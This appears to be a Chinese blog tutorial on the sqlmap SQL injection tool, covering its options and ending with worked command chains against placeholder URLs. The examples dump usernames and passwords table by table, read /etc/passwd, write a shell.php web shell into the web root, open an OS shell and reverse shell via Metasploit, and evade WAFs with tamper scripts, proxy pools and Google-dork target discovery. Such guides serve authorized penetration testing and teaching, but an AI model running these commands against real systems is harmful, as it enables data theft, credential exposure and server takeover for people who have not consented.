sqlmap工具

这是一份关于 SQLMap 的详细使用文档。SQLMap 是一款开源的自动化 SQL 注入工具,功能非常强大,支持多种数据库(MySQL, Oracle, SQL Server, PostgreSQL, SQLite 等)和多种注入类型(布尔盲注、时间盲注、报错注入、联合查询注入、堆叠注入)。


目录

  1. 基础用法
  2. 目标设置
  3. 请求配置
  4. 注入与检测
  5. 数据提取与枚举
  6. 高级功能
  7. [绕过 WAF/IDS](#绕过 WAF/IDS)
  8. 实用技巧与参数
  9. 常用组合示例

1. 基础用法

最基础的用法就是加上 -u 参数指定目标 URL(通常需要确保 URL 中带有可测试的参数,如 ?id=1)。

bash 复制代码
sqlmap -u "http://example.com/page.php?id=1"

2. 目标设置

SQLMap 需要知道你要测试哪里,以下是指定目标的常用参数:

  • -u URL, --url=URL : 指定目标 URL。
  • -m FILE : 从文本文件中批量读取 URL 进行扫描。
  • -r FILE : 加载一个 HTTP 请求文件(通常从 Burp Suite 导出)。非常适合 POST 注入、HTTP 头注入或需要 Cookie 认证的页面。
  • -g "Google搜索语法" : 利用 Google Dork 自动搜索并测试可能存在注入的站点(如 -g "inurl:php?id=")。
  • --data=DATA : 指定 POST 提交的数据(如 --data="id=1&name=admin")。

3. 请求配置(HTTP)

在真实环境中,往往需要配置 HTTP 请求头才能访问到有漏洞的页面。

  • --cookie=COOKIE : 指定 HTTP Cookie 头(用于需要登录的页面)。
  • --user-agent=AGENT : 指定 User-Agent。
  • --random-agent : 使用随机生成的 User-Agent(防止被简单的 UA 拦截)。
  • --host=HOST : 指定 Host 头。
  • --referer=REFERER : 指定 Referer 头。
  • --headers=HEADERS : 额外的 HTTP 头(如 --headers="X-Forwarded-For: 127.0.0.1")。
  • --auth-type=TYPE : HTTP 认证类型(Basic, Digest, NTLM)。
  • --auth-cred=USER:PASS : HTTP 认证账号密码。
  • --proxy=PROXY : 使用代理(如 --proxy="http://127.0.0.1:8080",常用于配合 Burp 抓包)。
  • --delay=DELAY : 每次请求之间的延迟秒数(防止请求过快被ban,默认无延迟)。
  • --timeout=TIMEOUT : 请求超时时间(默认 30 秒)。
  • --retries=RETRIES : 连接失败时的重试次数(默认 3 次)。

4. 注入与检测

控制 SQLMap 如何进行测试和注入。

  • -p TESTPARAMETER : 指定要测试的参数(如 -p "id"),如果不指定,SQLMap 会测试所有参数。
  • --skip=SKIP : 跳过指定的参数不进行测试。
  • --dbms=DBMS : 指定后端数据库类型(如 --dbms="mysql"),可以大幅节省探测时间。
  • --os=OS : 指定后端操作系统类型。
  • --level=LEVEL : 测试级别(1-5,默认 1)
    • Level 1: 测试 GET/POST 参数。
    • Level 2: 测试 HTTP Cookie 头。
    • Level 3: 测试 HTTP User-Agent/Referer 头。
    • Level 4-5: 更多的测试 payload。
  • --risk=RISK : 风险级别(1-3,默认 1)
    • Risk 1: 安全的测试语句,不会对数据库造成破坏。
    • Risk 2: 基于时间的大量查询测试语句。
    • Risk 3: 基于 OR 的测试语句(慎用 ,可能会修改数据库数据,如 UPDATE 语句被注入变成修改全表)。
  • --technique=TECH : 指定使用的注入技术(默认 BEUSTQ)。
    • B: Boolean-based blind (布尔盲注)
    • E: Error-based (报错注入)
    • U: Union query-based (联合查询注入)
    • S: Stacked queries (堆叠注入)
    • T: Time-based blind (时间盲注)
    • Q: Inline queries (内联查询)

5. 数据提取与枚举

确认存在注入后,使用以下参数提取数据。

  • -b, --banner : 获取数据库版本信息。
  • --current-user : 获取当前数据库用户名。
  • --current-db : 获取当前数据库名。
  • --is-dba : 判断当前用户是否为 DBA(管理员权限)。
  • --dbs : 枚举所有数据库名。
  • --tables : 枚举指定数据库中的所有表(需配合 -D)。
  • --columns : 枚举指定表中的所有字段(需配合 -D-T)。
  • --schema : 枚举数据库架构。
  • --dump : 导出指定表的数据(需配合 -D-T)。
  • --dump-all : 导出所有数据库的所有表(极其耗时,慎用)。
  • -D DB : 指定要操作的数据库名。
  • -T TABLE : 指定要操作的表名。
  • -C COL : 指定要操作的字段名(如 -C "username,password")。
  • --start=START : 指定导出数据的起始行。
  • --stop=STOP : 指定导出数据的结束行(如只导出前 10 条:--start=1 --stop=10)。
  • --sql-query=QUERY : 执行自定义的 SQL 语句(如 --sql-query="SELECT * FROM users LIMIT 5")。

6. 高级功能(文件操作与OS Shell)

如果当前数据库用户权限足够高(通常是 DBA),可以进行更危险的操作。

  • --file-read=RFILE : 读取后端服务器上的文件(如 --file-read="/etc/passwd")。
  • --file-write=WFILE : 写入本地文件到后端服务器(需配合 --file-dest)。
  • --file-dest=DFILE : 指定写入到后端服务器的绝对路径。
    • 示例: sqlmap -u "url" --file-write="/shell.php" --file-dest="/var/www/html/shell.php"
  • --os-cmd=OSCMD : 执行单条操作系统命令。
  • --os-shell : 获取一个交互式的操作系统 Shell(通常通过写一个上传脚本或 UDF 提权实现)。
  • --os-pwn : 获取一个 OOB (Out-of-Band) 的反弹 Shell(结合 Metasploit 使用)。

7. 绕过 WAF/IDS

当目标存在防护设备时,可以使用以下参数尝试绕过。

  • --tamper=TAMPER : 使用混淆脚本绕过 WAF。SQLMap 自带了数十个 tamper 脚本位于 tamper/ 目录下。
    • 常用 tamper:space2comment.py(空格替换为注释)、charunicodeencode.py(Unicode编码)、apostrophemask.py(引号编码)。
    • 可同时使用多个:--tamper="space2comment,charunicodeencode"
  • --random-agent : 随机 UA,绕过基于 UA 的拦截。
  • --hpp : 使用 HTTP 参数污染(例如 ?id=1&id=1)。
  • --delay=2 : 降低请求频率,绕过基于频率的拦截。
  • --proxy : 配合代理池不断更换 IP。

8. 实用技巧与参数

  • --batch : 自动模式。不在测试过程中询问用户任何问题,全部采用默认逻辑执行。在写脚本或无人值守时必加。
  • --flush-session : 清空当前 URL 的会话记录,重新进行测试(默认 SQLMap 会读取历史测试结果)。
  • --wizard : 向导模式,适合新手,一步步引导你输入参数。
  • --mobile : 模拟手机 UA。
  • --privileges : 查看当前用户的权限。
  • --roles : 查看当前用户的角色。

9. 常用组合示例

示例 1:最基础的 GET 注入测试

bash 复制代码
sqlmap -u "http://example.com/news.php?id=1" --batch --random-agent

示例 2:带 Cookie 的认证后注入,并指定 MySQL 数据库

bash 复制代码
sqlmap -u "http://example.com/user.php?id=1" --cookie="PHPSESSID=1234567890abcdef" --dbms="MySQL" --batch

示例 3:POST 注入(使用 Burp 抓包保存为 post.txt)

bash 复制代码
sqlmap -r post.txt -p "username" --batch

示例 4:直接脱裤(Dump 数据)

bash 复制代码
# 1. 爆库
sqlmap -u "http://example.com/news.php?id=1" --dbs --batch
# 2. 爆表 (假设数据库名为 web_db)
sqlmap -u "http://example.com/news.php?id=1" -D "web_db" --tables --batch
# 3. 爆字段 (假设表名为 users)
sqlmap -u "http://example.com/news.php?id=1" -D "web_db" -T "users" --columns --batch
# 4. 爆数据 (假设字段为 username,password)
sqlmap -u "http://example.com/news.php?id=1" -D "web_db" -T "users" -C "username,password" --dump --batch

示例 5:高阶测试(测试 HTTP 头,高风险,使用 Tamper 绕过 WAF)

bash 复制代码
sqlmap -u "http://example.com/news.php?id=1" --level=3 --risk=2 --tamper="space2comment,randomcase" --batch

示例 6:尝试获取 OS Shell

bash 复制代码
sqlmap -u "http://example.com/news.php?id=1" --os-shell --batch
相关推荐
数据知道1 天前
宽字节注入、二次注入、堆叠注入:高级 SQLi 专题
linux·运维·安全·网络安全
2501_915918411 天前
iOS 怎么抓包?抓包鹰系统级 网卡 应用层三种方式对比,不越狱抓 iPhone 流量
网络协议·计算机网络·网络安全·ios·adb·https·udp
菩提小狗1 天前
每日安全情报报告 · 2026-08-06
网络安全·漏洞·cve·安全情报·每日安全
数据知道1 天前
XSS 攻防全解:反射型、存储型、DOM 型实战演示
前端·安全·web安全·网络安全·xss
空杆推不起1 天前
企业数据加密实战:传输链路与存储层全场景落地指南
网络·安全·web安全
2501_915921432 天前
抓包鹰抓取系统 App 的流量,从底层读明文
网络协议·计算机网络·网络安全·adb·https·udp
Atomic121382 天前
登录界面渗透测试全攻略
web安全·网络安全
treesforest2 天前
随意装软件也会被恶意IP入侵电脑?
网络·网络协议·tcp/ip·网络安全·ip属地·查ip归属地
Yan_chen6662 天前
SQL-LABS_Less18-20实战攻略
数据库·sql·web安全·网络安全
Lust Dusk2 天前
记一次Linux应急响应题目解析
linux·运维·服务器·网络·安全·网络安全